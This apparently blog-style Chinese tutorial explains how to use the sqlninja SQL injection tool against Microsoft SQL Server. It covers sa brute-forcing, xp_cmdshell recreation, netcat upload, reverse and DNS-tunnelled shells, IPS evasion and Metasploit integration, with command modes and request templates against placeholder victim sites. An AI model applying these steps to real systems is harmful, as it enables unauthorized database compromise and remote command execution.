首先來介紹一下sqlninja的優點。
- 一個專門針對Microsoft SQL Server的sql注入工具
- 可找到遠程SQL服務器的標誌和特徵(版本、用戶執行的查詢、用戶特權、xp_cmdshell的可用性、身份驗證模式等)
- “sa”口令的強力攻擊
- 如果找到口令後,就將特權提升到“sa”
- 如果原始的xp_cmdshell被禁用後,就創建一個定製的xp_cmdshell。
- 使用純粹的ASCII GET/POST請求來上載netcat.exe程序(以及其它任何可執行的程序),因此並不需要FTP連接。
- 爲了找到目標網絡的防火牆所允許的端口,可以實施針對目標SQL 服務器的TCP/UDP端口掃描。
- 逃避技術,這是爲了使注入式代碼“模糊”不清,並且混淆/繞過基於簽名的IPS和應用層防火牆。
- 採用“盲目執行”攻擊模式,在其它模式失效時,可以用於發佈命令並執行診斷。
- 在sqlninja生成的SQL代碼上,執行的是自動化的URL編碼,這使得用戶可以更精細地控制漏洞利用的字符串。
- 如果得到權限爲sa,可以結合msf進一步對目標主機進行滲透。
sqlninja的一些常用命令.
./sqlninja -m <mode> : Required. Available modes are: //加載modle t/test - test whether the injection is working //測試注入點是否可用 f/fingerprint - fingerprint user, xp_cmdshell and more b/bruteforce - bruteforce sa account //爆破sa口令用的。。可以-w指定字典,也可以不使用字典,這樣sqlninja就會自己窮舉 e/escalation - add user to sysadmin server role x/resurrectxp - try to recreate xp_cmdshell //嘗試創建 u/upload - upload a .scr file //上傳 s/dirshell - start a direct shell //獲得一個目標主機的shell k/backscan - look for an open outbound port //查找目標主機允許哪些端口外連 r/revshell - start a reverse shell //反彈shell d/dnstunnel - attempt a dns tunneled shell c/sqlcmd - issue a 'blind' OS command //執行系統命令,如果爲sa的話直接可以net user m/metasploit - wrapper to Metasploit stagers //配合msf使用 -f <file> : configuration file (default: sqlninja.conf) //配置sqlninja.conf文件 -p <password> : sa password -w <wordlist> : wordlist to use in bruteforce mode (dictionary methodonly) //字典文件的路徑。。爆破sa密碼用的 -v : verbose output -d <mode> : activate debug //調試模式 1 - print each injected command 2 - print each raw HTTP request 3 - print each raw HTTP response all - all of the above 在-f下面又有以下參數 0 - Database version (2000/2005) //檢測當前數據庫版本 1 - Database user //當前數據庫用戶 2 - Database user rights //當前數據庫用戶權限 3 - Whether xp_cmdshell is working //檢查xp_cmdshell是否可以用 4 - Whether mixed or Windows-only authentication is used //是否windows本地系統權限 a - All of the above //以上所有選項 h - Print this menu //顯示當前幫助菜單 q - exit //退出
剛開是搞的時候,在網上搜了半天的資料也沒有找到怎麼注入鏈接,參數裏面沒有像 sqlmap那樣有
-u參數,最後才知道是在配置目錄下的sqlninja.conf配置文件,打開配置文件後發現裏面的選項特別
多,這裏只是簡單的進行注入,在配置文件中找到如下信息
# GET EXAMPLE: --httprequest_start-- GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1 Host: www.xxxx.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept:*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: Keep-alive --httprequest_end-- # # POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!) # --httprequest_start-- # POST https://www.victim.com/page.asp HTTP/1.0 # Host: www.victim.com # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* # Accept-Language: en-us,en;q=0.7,it;q=0.3 # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # Content-Type: application/x-www-form-urlencoded # Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx # Authorization: Basic yyyyyyyyyyyyyyyyyyyyy # Connection: close # # vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah # --httprequest_end-- # # HEADER-BASED EXAMPLE: # --httprequest_start-- # GET http://www.victim.com/page.asp HTTP/1.0 # Host: www.victim.com # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* # Accept-Language: en-us,en;q=0.7,it;q=0.3 # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # Content-Type: application/x-www-form-urlencoded # Cookie: VulnCookie=xxx'%3B__SQL2INJECT__ # Connection: close # --httprequest_end-- #
這裏有三種方式GET,POST,HEADER-BASED三個配置例子,根據你的注入點進行抓包判斷,修改裏面對應的信息,如果
你會發現每個注入鏈接會有個;__SQL2INJECT__。所以在配置的時候不要忘記了加上。
如果要使用其他的功能比如結合msf的話,請自行加上相應的配置,以上步驟配置完成後,就可以進行測試了。
用./sqlninja -m test命令檢測注入點是否可用。成功的話會顯示[+] Injection was successful! Let’s rock !! 那麼就可以使用上面提到的命令。
使用./sqlninja -m metasploit命令可以和msf相結合起來,讓滲透更加方便,如果使用metasploit裏面的shellcode,這個默認是沒有啓用的,需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/ #去掉前面的註釋符號,這裏修改成你的framework3的安裝位置。
如果有寫的不對的地方,歡迎留言更正。
如果需要更詳細的瞭解可以去http://sqlninja.sourceforge.net/sqlninja-howto.html 看看